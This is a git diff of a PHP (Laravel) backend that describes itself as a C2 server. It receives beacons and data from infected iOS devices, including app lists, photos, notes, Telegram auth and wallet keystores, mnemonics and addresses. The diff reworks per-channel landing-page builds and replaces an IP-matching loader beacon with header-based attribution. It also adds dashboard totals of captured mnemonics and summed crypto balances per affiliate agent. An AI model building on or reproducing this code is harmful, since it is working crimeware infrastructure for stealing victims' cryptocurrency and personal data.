diff --git a/app/Helpers.php b/app/Helpers.php index de01f73..cf0365d 100644 --- a/app/Helpers.php +++ b/app/Helpers.php @@ -43,7 +43,7 @@ if (! function_exists('create_log')) { if (! function_exists('c2_log_request_meta')) { /** - * IP + proxy headers for C2 file logs (iptj vs native comparison). + * IP + proxy headers for C2 file logs. * * @return array{ip: string|null, remote_addr: mixed, headers: array} */ diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index ac12cc7..907c6ff 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -65,7 +65,7 @@ class ChannelController extends Controller $paginator = $q->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (Channel $c) { - $row = [ + return [ 'id' => $c->id, 'channel_id' => $c->channel_id, 'builder_type' => $c->builderType(), @@ -74,15 +74,10 @@ class ChannelController extends Controller 'remark' => $c->remark ?: '', 'status' => (int) $c->status, 'links' => $c->supportLinks(), - 'download_url' => null, + 'landing_path' => $c->landingPath(), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'), ]; - if ($c->isNewBuilder()) { - $row['download_url'] = route($this->portal().'.channels.download', $c); - } - - return $row; })->values(); return response()->json([ @@ -117,7 +112,7 @@ class ChannelController extends Controller } $channelIdRule = $builderType === Channel::BUILDER_NEW - ? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/'] + ? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN] : ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')]; $data = $request->validate([ @@ -134,10 +129,10 @@ class ChannelController extends Controller if ($builderType === Channel::BUILDER_NEW) { $normalized = Channel::normalizeNewChannelId((string) $data['channel_id']); if ($normalized === null) { - throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']); + throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']); } $data['channel_id'] = $normalized; - if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) { + if (Channel::query()->where('channel_id', $normalized)->exists()) { throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); } } @@ -209,10 +204,8 @@ class ChannelController extends Controller 'support_path' => $build['support_path'] ?? $channel->landingPath(), 'weifile_path' => $build['weifile_path'] ?? null, 'daily_path' => $build['daily_path'] ?? '', - 'zip_path' => $build['zip_path'] ?? null, - 'download_url' => $channel->isNewBuilder() - ? route('admin.channels.download', $channel) - : null, + 'channel_dir' => $build['channel_dir'] ?? null, + 'show_alias' => $build['show_alias'] ?? null, ], ]); } @@ -265,19 +258,6 @@ class ChannelController extends Controller ]); } - public function download(Channel $channel, ChannelProjectService $projects) - { - $this->authorizeChannel($channel); - abort_unless($channel->isNewBuilder(), 404); - - $path = $projects->newChannelZipPath($channel->channel_id); - abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道'); - - return response()->download($path, $channel->channel_id.'.zip', [ - 'Content-Type' => 'application/zip', - ]); - } - public function destroy(Channel $channel, ChannelProjectService $projects) { abort_if($this->isAgentPortal(), 403); diff --git a/app/Http/Controllers/Admin/FilterOptionsController.php b/app/Http/Controllers/Admin/FilterOptionsController.php new file mode 100644 index 0000000..9f6e971 --- /dev/null +++ b/app/Http/Controllers/Admin/FilterOptionsController.php @@ -0,0 +1,38 @@ +json([ + 'code' => 0, + 'msg' => '', + 'data' => $this->options->channelOptions($this->agent()), + ]); + } + + public function agents() + { + if ($this->isAgentPortal()) { + return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403); + } + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => $this->options->agentOptions(), + ]); + } +} diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 0a6361f..72e4d07 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; use App\Http\Middleware\DecryptXxbbBody; -use App\Models\Channel; -use App\Models\PageVisit; use App\Services\CorunaArchive; use App\Services\IngestService; -use App\Support\UserAgentParser; -use Illuminate\Database\QueryException; use Illuminate\Http\Request; use Illuminate\Http\Response; -use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Storage; /** @@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage; * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), * /api/tg/t Telegram auth (tglib). + * + * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv. */ class XxbbC2Controller extends Controller { @@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller return response('ok', 200)->header('Content-Type', 'text/plain'); } - /** - * Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId. - */ - public function iptj(Request $request): Response - { - $payload = $request->json()->all(); - if ($payload === []) { - $decoded = json_decode((string) $request->getContent(), true); - $payload = is_array($decoded) ? $decoded : []; - } - - $channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', ''))); - $normalizedCode = Channel::normalizeNewChannelId($channelCode); - if ($normalizedCode !== null) { - $channelCode = $normalizedCode; - } - $domain = trim((string) ($payload['domain'] ?? $request->input('domain', ''))); - $deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', ''))); - $sessionId = $this->normalizeSessionId( - (string) ($payload['sessionId'] ?? $request->input('sessionId', '')), - ); - - $domain = PageVisit::normalizeDomain($domain); - $ip = PageVisit::normalizeIp((string) $request->ip()); - $uid = PageVisit::visitorUid($domain, $ip); - $recorded = false; - - if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) { - $ua = substr((string) $request->userAgent(), 0, 512); - $parsed = UserAgentParser::parse($ua); - $osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null; - // Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`). - if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) { - $osVersion = $m[1]; - } - try { - PageVisit::query()->create([ - 'channel_id' => substr($channelCode, 0, 64), - 'client_uid' => $uid, - 'session_id' => $sessionId, - 'user_agent' => $ua !== '' ? $ua : null, - 'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']), - 'os_version' => $osVersion, - 'browser' => $parsed['browser'], - 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, - 'ip' => $ip !== '' ? $ip : null, - 'domain' => $domain, - 'referer' => $this->referer($request), - 'created_at' => now(), - ]); - $recorded = true; - } catch (QueryException $e) { - if (($e->errorInfo[0] ?? '') !== '23000') { - throw $e; - } - } - } - - $meta = c2_log_request_meta($request); - create_log([ - 'dir' => 'in', - 'method' => $request->method(), - 'path' => '/'.ltrim($request->path(), '/'), - 'ip' => $ip !== '' ? $ip : $meta['ip'], - 'remote_addr' => $meta['remote_addr'], - 'device_key' => null, - 'client_uid' => $uid !== '' ? $uid : null, - 'recorded' => $recorded, - 'timestamp_hdr' => null, - 'headers' => $meta['headers'], - 'payload' => $payload, - 'decrypt_ok' => true, - 'error' => null, - ], 'xxbb'); - - return response('{}', 200)->header('Content-Type', 'application/json'); - } - - private function normalizeSessionId(string $sessionId): ?string - { - $sessionId = trim($sessionId); - if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) { - return null; - } - - return $sessionId; - } - - private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool - { - if ($sessionId !== null) { - $debounceKey = 'xxbb_iptj_sid:'.$sessionId; - if (! Cache::add($debounceKey, 1, now()->addDay())) { - return false; - } - - return ! PageVisit::query()->where('session_id', $sessionId)->exists(); - } - - $debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid; - - return Cache::add($debounceKey, 1, now()->addSeconds(8)); - } - /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */ public function profile(Request $request): Response { @@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller public function event(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDeviceEvent($device, $payload); } @@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller ); } - private function referer(Request $request): ?string - { - $referer = trim((string) $request->headers->get('referer', '')); - if ($referer === '') { - return null; - } - - return substr($referer, 0, 512); - } - private function xxbbAck(Request $request): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 61c3c7b..30af163 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -94,6 +94,7 @@ class DecryptXxbbBody $request->attributes->set('coruna_decrypt_ok', $decryptOk); $request->attributes->set('coruna_device_key', $deviceKey); $request->attributes->set('coruna_new_builder', true); + $request->attributes->set('coruna_xxbb_core', in_array($path, ['/a', '/u', '/event'], true)); $request->attributes->set('xxbb_ts', $timestamp); return $next($request); diff --git a/app/Models/Channel.php b/app/Models/Channel.php index f8e42bc..6018005 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -14,10 +14,11 @@ class Channel extends Model public const BUILDER_NEW = 'new'; - public const NEW_CHANNEL_ID_LENGTH = 8; + /** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */ + public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/'; /** - * Public-root path prefixes that must not be used as 8-char channel IDs. + * Public-root path prefixes that must not be used as old 32-hex channel IDs. * * @var list */ @@ -39,6 +40,25 @@ class Channel extends Model 'builder_type' => self::BUILDER_OLD, ]; + protected static function booted(): void + { + $bust = static function (Channel $channel): void { + $svc = app(\App\Services\FilterOptionsService::class); + $svc->forgetChannels(); + $uids = array_unique(array_filter([ + (int) $channel->user_id, + (int) $channel->getOriginal('user_id'), + ])); + foreach ($uids as $uid) { + if ($uid > 0) { + $svc->forgetChannels($uid); + } + } + }; + static::saved($bust); + static::deleted($bust); + } + protected function casts(): array { return [ @@ -124,7 +144,7 @@ class Channel extends Model public function landingPath(): string { if ($this->isNewBuilder()) { - return '/weifile/weifile.html'; + return '/channel/'.$this->channel_id.'/weifile/weifile.html'; } return '/web/'.$this->channel_id.'/support.html'; @@ -135,10 +155,6 @@ class Channel extends Model */ public function supportLinks(): array { - if ($this->isNewBuilder()) { - return []; - } - $links = []; $path = $this->landingPath(); $scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https'; @@ -164,10 +180,7 @@ class Channel extends Model public static function normalizeNewChannelId(string $channelId): ?string { $channelId = strtoupper(trim($channelId)); - if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) { - return null; - } - if (self::isReservedChannelName($channelId)) { + if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) { return null; } @@ -176,12 +189,12 @@ class Channel extends Model public static function randomNewChannelId(): string { - for ($i = 0; $i < 32; $i++) { - $code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH)); - if (self::normalizeNewChannelId($code) === null) { - continue; - } - if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) { + $chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)]; + + for ($i = 0; $i < 64; $i++) { + $code = $pick().'.'.$pick().'.'.$pick().$pick(); + if (self::query()->where('channel_id', $code)->exists()) { continue; } @@ -191,11 +204,9 @@ class Channel extends Model throw new RuntimeException('无法生成唯一渠道 ID'); } - public function sourceZipRelativePath(): string + public function channelPublicRelativeDir(): string { - $dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/'); - - return $dir.'/'.$this->channel_id.'.zip'; + return 'channel/'.$this->channel_id; } public static function isReservedChannelName(string $name): bool diff --git a/app/Models/User.php b/app/Models/User.php index 37cd407..aac09cf 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -15,6 +15,15 @@ class User extends Authenticatable 'password', 'remember_token', 'bot_token', ]; + protected static function booted(): void + { + $bust = static function (): void { + app(\App\Services\FilterOptionsService::class)->forgetAgents(); + }; + static::saved($bust); + static::deleted($bust); + } + protected function casts(): array { return [ diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 7043dfb..835e4e8 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -45,7 +45,7 @@ class ChannelProjectService $builderType = $this->normalizeBuilderType($builderType); if ($builderType === self::BUILDER_NEW) { - return $this->generateNew($channelId); + return $this->generateNew($channelId, $supportTemplate); } [$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds( @@ -72,9 +72,9 @@ class ChannelProjectService if ($code === null) { return; } - $zip = $this->newChannelZipPath($code); - if (is_file($zip) && ! unlink($zip)) { - throw new RuntimeException('删除渠道安装包失败: '.$zip); + $dir = $this->newChannelDirPath($code); + if (is_dir($dir) && ! $this->removeDirectory($dir)) { + throw new RuntimeException('删除渠道资源失败: '.$dir); } return; @@ -163,8 +163,8 @@ class ChannelProjectService } /** - * Rebuild shared /details and staged weifile from `c`. - * Only used by `php artisan xxbb:build`, not when creating a channel. + * Rebuild shared /details and staged weifile from shared channel `c`. + * Channel create always runs this with XXBB_CHANNEL_C from env (no random). * * @return array */ @@ -188,46 +188,53 @@ class ChannelProjectService $cmd[] = '--random-c'; } else { $c = $this->normalizeSharedChannelC($channelC); - if ($c !== null) { - $cmd[] = '--channel-c'; - $cmd[] = $c; + if ($c === null) { + throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)'); } + $cmd[] = '--channel-c'; + $cmd[] = $c; } return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW)); } - private function generateNew(string $channelId): array + private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array { $channelId = Channel::normalizeNewChannelId($channelId); if ($channelId === null) { - throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)'); + throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)'); } + $supportTemplate = $this->normalizeSupportTemplate($supportTemplate); + + // Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random). + $this->buildSharedArtifacts($this->requireEnvChannelC(), false); $weifileSrc = $this->stagedWeifileDir(); - if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) { - throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build'); - } - - $zipPath = $this->newChannelZipPath($channelId); - $this->ensureDirectory(dirname($zipPath), '新版渠道产物目录'); + $detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details'; + $channelOut = $this->newChannelDirPath($channelId); + $this->ensureDirectory(dirname($channelOut), '新版渠道产物目录'); $cmd = [ $this->pythonBinary(self::BUILDER_NEW), $this->builderScript('pack_channel.py', self::BUILDER_NEW), - '--channel-code', + '--channel-ver', $channelId, '--state-root', $this->stateRoot(self::BUILDER_NEW), '--weifile-src', $weifileSrc, - '--zip-out', - $zipPath, + '--details-src', + $detailsSrc, + '--channel-out', + $channelOut, + '--landing-template', + $supportTemplate, ]; $result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW)); $seeds = $this->loadNewLabSeeds(); - $relativeZip = $this->newChannelZipRelative($channelId); + $landing = (string) ($result['landing_path'] ?? '/channel/'.$channelId.'/weifile/weifile.html'); + $detailsPath = (string) ($result['details_path'] ?? '/channel/'.$channelId.'/details/'); return [ 'channel_id' => $channelId, @@ -243,10 +250,12 @@ class ChannelProjectService ], 'seeds_initialized' => false, 'sync_rebuilt' => false, - 'support_path' => '', + 'support_path' => $landing, 'weifile_path' => null, - 'daily_path' => '/details/', - 'zip_path' => '/'.$relativeZip, + 'daily_path' => $detailsPath, + 'channel_dir' => '/channel/'.$channelId, + 'show_alias' => (string) ($result['show_alias'] ?? '/c/'.$channelId.'/show.htm'), + 'support_template' => (string) ($result['landing_template'] ?? $supportTemplate), ]; } @@ -255,17 +264,37 @@ class ChannelProjectService return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile'; } - public function newChannelZipPath(string $channelId): string + public function newChannelDirPath(string $channelId): string { - return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId)); - } - - public function newChannelZipRelative(string $channelId): string - { - $dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/'); $code = Channel::normalizeNewChannelId($channelId) ?? $channelId; - return $dir.'/'.$code.'.zip'; + return $this->artifactRoot().DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$code; + } + + private function removeDirectory(string $dir): bool + { + if (! is_dir($dir)) { + return true; + } + $items = scandir($dir); + if ($items === false) { + return false; + } + foreach ($items as $item) { + if ($item === '.' || $item === '..') { + continue; + } + $path = $dir.DIRECTORY_SEPARATOR.$item; + if (is_dir($path)) { + if (! $this->removeDirectory($path)) { + return false; + } + } elseif (! unlink($path)) { + return false; + } + } + + return rmdir($dir); } /** @@ -299,6 +328,16 @@ class ChannelProjectService ]; } + private function requireEnvChannelC(): string + { + $c = $this->normalizeSharedChannelC(null); + if ($c === null) { + throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)'); + } + + return $c; + } + private function normalizeSharedChannelC(?string $channelC): ?string { $c = strtolower(trim((string) ($channelC !== null && $channelC !== '' diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index b34ee32..9bd0f71 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -5,6 +5,8 @@ namespace App\Services; use App\Models\Device; use App\Models\PageVisit; use App\Models\User; +use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use App\Support\AgentScope; use Carbon\Carbon; use Illuminate\Database\Eloquent\Builder; @@ -22,14 +24,19 @@ class DashboardStatsService * } $filters * @return array{ * total: int, + * wallet_count: int, * new_count: int, * active_count: int, * pv: int, * uv: int, * effective_pv: int, * effective_uv: int, - * by_os: list, - * by_ios_version: list, + * mnemonic_count: int, + * address_count: int, + * balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}, + * by_os: list, + * by_ios_version: list, + * by_device_ios_version: list, * range: string, * from: string, * to: string @@ -62,8 +69,26 @@ class DashboardStatsService } $total = (clone $base)->count(); + $walletCount = (clone $base)->where('has_wallet', Device::WALLET_YES)->count(); $newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count(); $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); + $mnemonicCount = $this->countDeviceChildren( + WalletMnemonic::query(), + 'wallet_mnemonics', + $agent, + $agentUserId, + $channelId, + $channelExact, + ); + $addressCount = $this->countDeviceChildren( + WalletAddress::query(), + 'wallet_addresses', + $agent, + $agentUserId, + $channelId, + $channelExact, + ); + $balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact); $visits = PageVisit::query(); AgentScope::applyChannelIdScope($visits, $agent); @@ -86,53 +111,151 @@ class DashboardStatsService $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $iosVisits = (clone $visits)->where('os', 'iOS'); - $iosPv = (clone $iosVisits)->count(); $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $otherVisits = (clone $visits)->where(function (Builder $q) { $q->whereNull('os')->orWhere('os', '!=', 'iOS'); }); - $otherPv = (clone $otherVisits)->count(); $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $byOs = [ - $this->row('iOS', $iosPv, $iosUv, $pv), - $this->row('其他', $otherPv, $otherUv, $pv), + $this->visitRow('iOS', $iosUv, $uv), + $this->visitRow('其他', $otherUv, $uv), ]; - $byIosVersion = (clone $iosVisits) + $versionGroups = (clone $iosVisits) ->select('os_version') - ->selectRaw('COUNT(*) as pv') ->selectRaw('COUNT(DISTINCT client_uid) as uv') ->groupBy('os_version') - ->orderByDesc('pv') + ->orderByDesc('uv') + ->limit(20) + ->get(); + // Denominator = sum of per-version UVs (not global DISTINCT). + // Same visitor may appear under multiple versions; using DISTINCT total would + // make every overlapping bucket show ~100%. + $versionUvSum = (int) $versionGroups->sum('uv'); + $byIosVersion = $versionGroups + ->map(fn ($r) => $this->visitRow( + ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', + (int) $r->uv, + $versionUvSum > 0 ? $versionUvSum : $iosUv, + )) + ->values() + ->all(); + + $byDeviceIosVersion = (clone $base) + ->select('ios_version') + ->selectRaw('COUNT(*) as cnt') + ->groupBy('ios_version') + ->orderByDesc('cnt') ->limit(20) ->get() - ->map(fn ($r) => $this->row( - ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', - (int) $r->pv, - (int) $r->uv, - $iosPv > 0 ? $iosPv : $pv, - )) + ->map(function ($r) use ($total) { + $label = trim((string) ($r->ios_version ?? '')); + + return $this->deviceRow( + $label !== '' ? $label : '未知', + (int) $r->cnt, + $total, + ); + }) ->values() ->all(); return [ 'total' => $total, + 'wallet_count' => $walletCount, 'new_count' => $newCount, 'active_count' => $activeCount, 'pv' => $pv, 'uv' => $uv, 'effective_pv' => $effectivePv, 'effective_uv' => $effectiveUv, + 'mnemonic_count' => $mnemonicCount, + 'address_count' => $addressCount, + 'balances' => $balances, 'by_os' => $byOs, 'by_ios_version' => $byIosVersion, + 'by_device_ios_version' => $byDeviceIosVersion, 'range' => $range, 'from' => $from->toDateTimeString(), 'to' => $to->toDateTimeString(), ]; } + /** + * Join a device-child table and apply the same channel / agent scope as device totals. + */ + private function scopedDeviceChildren( + Builder $query, + string $table, + ?User $agent, + ?int $agentUserId, + string $channelId, + bool $channelExact, + ): Builder { + $query->join('devices', 'devices.id', '=', $table.'.device_id'); + AgentScope::applyDeviceChannelScope($query, $agent); + if ($agent === null) { + AgentScope::applyAgentUserFilter($query, $agentUserId); + } + if ($channelId !== '') { + if ($channelExact) { + $query->where('devices.channel_id', $channelId); + } else { + $query->where('devices.channel_id', 'like', '%'.$channelId.'%'); + } + } + + return $query; + } + + private function countDeviceChildren( + Builder $query, + string $table, + ?User $agent, + ?int $agentUserId, + string $channelId, + bool $channelExact, + ): int { + return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact) + ->count($table.'.id'); + } + + /** + * Sum coin columns across wallet_addresses for devices in the same scope as dashboard totals. + * Not limited by the time range (current holdings). + * + * @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string} + */ + private function sumBalances(?User $agent, ?int $agentUserId, string $channelId, bool $channelExact): array + { + $q = $this->scopedDeviceChildren( + WalletAddress::query(), + 'wallet_addresses', + $agent, + $agentUserId, + $channelId, + $channelExact, + ); + + $selects = []; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col; + } + $row = $q->selectRaw(implode(', ', $selects))->first(); + + $out = []; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $raw = $row?->{$col} ?? 0; + $formatted = WalletAddress::formatAmount($col, $raw); + $out[$col] = $formatted === '' ? '0' : $formatted; + } + + /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */ + return $out; + } + /** * Map telegram /data day token to dashboard range key. * Empty / omitted → today. @@ -209,17 +332,32 @@ class DashboardStatsService } /** - * @return array{label: string, pv: int, uv: int, pct: float} + * Visit breakdown row. pct = uv / $totalUv (UV share). + * + * @return array{label: string, uv: int, pct: float} */ - private function row(string $label, int $pv, int $uv, int $totalPv): array + private function visitRow(string $label, int $uv, int $totalUv): array { - $pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0; + $pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0; return [ 'label' => $label, - 'pv' => $pv, 'uv' => $uv, 'pct' => $pct, ]; } + + /** + * @return array{label: string, count: int, pct: float} + */ + private function deviceRow(string $label, int $count, int $total): array + { + $pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0; + + return [ + 'label' => $label, + 'count' => $count, + 'pct' => $pct, + ]; + } } diff --git a/app/Services/FilterOptionsService.php b/app/Services/FilterOptionsService.php new file mode 100644 index 0000000..c381135 --- /dev/null +++ b/app/Services/FilterOptionsService.php @@ -0,0 +1,105 @@ + + */ + public function channelOptions(?User $agent = null): array + { + if ($agent !== null) { + $key = self::channelsCacheKeyForAgent((int) $agent->id); + + return Cache::remember($key, self::CACHE_TTL_SECONDS, function () use ($agent) { + return $this->mapChannels( + Channel::query() + ->where('user_id', (int) $agent->id) + ->orderByDesc('id') + ->get(['channel_id', 'remark']) + ); + }); + } + + return Cache::remember(self::CACHE_CHANNELS_ADMIN, self::CACHE_TTL_SECONDS, function () { + return $this->mapChannels( + Channel::query()->orderByDesc('id')->get(['channel_id', 'remark']) + ); + }); + } + + /** + * @return list + */ + public function agentOptions(): array + { + return Cache::remember(self::CACHE_AGENTS, self::CACHE_TTL_SECONDS, function () { + return User::query() + ->orderBy('username') + ->get(['id', 'username', 'comment']) + ->map(function (User $u) { + $name = trim((string) $u->username); + $comment = trim((string) ($u->comment ?? '')); + + return [ + 'value' => (string) $u->id, + 'label' => $comment !== '' ? $name.'/'.$comment : $name, + ]; + }) + ->values() + ->all(); + }); + } + + public function forgetAll(): void + { + Cache::forget(self::CACHE_CHANNELS_ADMIN); + Cache::forget(self::CACHE_AGENTS); + } + + public function forgetChannels(?int $agentUserId = null): void + { + Cache::forget(self::CACHE_CHANNELS_ADMIN); + if ($agentUserId !== null && $agentUserId > 0) { + Cache::forget(self::channelsCacheKeyForAgent($agentUserId)); + } + } + + public function forgetAgents(): void + { + Cache::forget(self::CACHE_AGENTS); + } + + /** + * @param \Illuminate\Support\Collection $channels + * @return list + */ + private function mapChannels($channels): array + { + return $channels->map(function (Channel $c) { + $id = (string) $c->channel_id; + $remark = trim((string) ($c->remark ?? '')); + + return [ + 'value' => $id, + 'label' => $remark !== '' ? $id.'/'.$remark : $id, + ]; + })->values()->all(); + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 03cd108..7463a30 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -151,7 +151,8 @@ class IngestService /** * Other C2 routes — create device if missing so business rows can attach. * Old builder: never write channel_id here (put will fill it later). - * New builder: IP-match iptj on create and when channel_id is still empty. + * New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present. + * Other new-builder routes: create device without writing channel_id. */ public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { @@ -162,7 +163,7 @@ class IngestService $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { - if ($this->isNewBuilderRequest($request)) { + if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) { $this->fillMissingAttribution($existing, $request, $payload, allowOldC: false); return $existing->refresh(); @@ -251,15 +252,19 @@ class IngestService /** * Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id. - * New xxbb short paths (`/event`, `/u`, …): never write native `c`; - * attribute via recent PageVisit IP. Device is still created if no visit matches. + * New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`. + * Other xxbb short paths: never write channel_id (device may still be created). * * @return array{channel_id: ?string, source_domain: ?string} */ private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array { if ($this->isNewBuilderRequest($request)) { - return $this->matchNewBuilderVisit($request->ip()); + if (! $this->isXxbbCoreRequest($request)) { + return ['channel_id' => null, 'source_domain' => null]; + } + + return $this->channelFromVerHeaders($request); } if ($allowOldC) { return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null]; @@ -273,69 +278,35 @@ class IngestService return (bool) $request->attributes->get('coruna_new_builder', false); } + private function isXxbbCoreRequest(Request $request): bool + { + return (bool) $request->attributes->get('coruna_xxbb_core', false); + } + /** - * Latest iptj/pixel visit in the last N minutes whose channel_id is a - * new-builder channel, and no device from this client IP has already - * claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred; - * otherwise a recent visit still matches across address families - * (Safari iptj is often v4, native /event often v6). + * Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars). + * Missing or invalid headers → null channel_id; device is still created. * * @return array{channel_id: ?string, source_domain: ?string} */ - private function matchNewBuilderVisit(?string $ip): array + private function channelFromVerHeaders(Request $request): array { - $ip = PageVisit::normalizeIp($ip); - if ($ip === '') { - return ['channel_id' => null, 'source_domain' => null]; - } - $minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30)); - $visits = PageVisit::query() 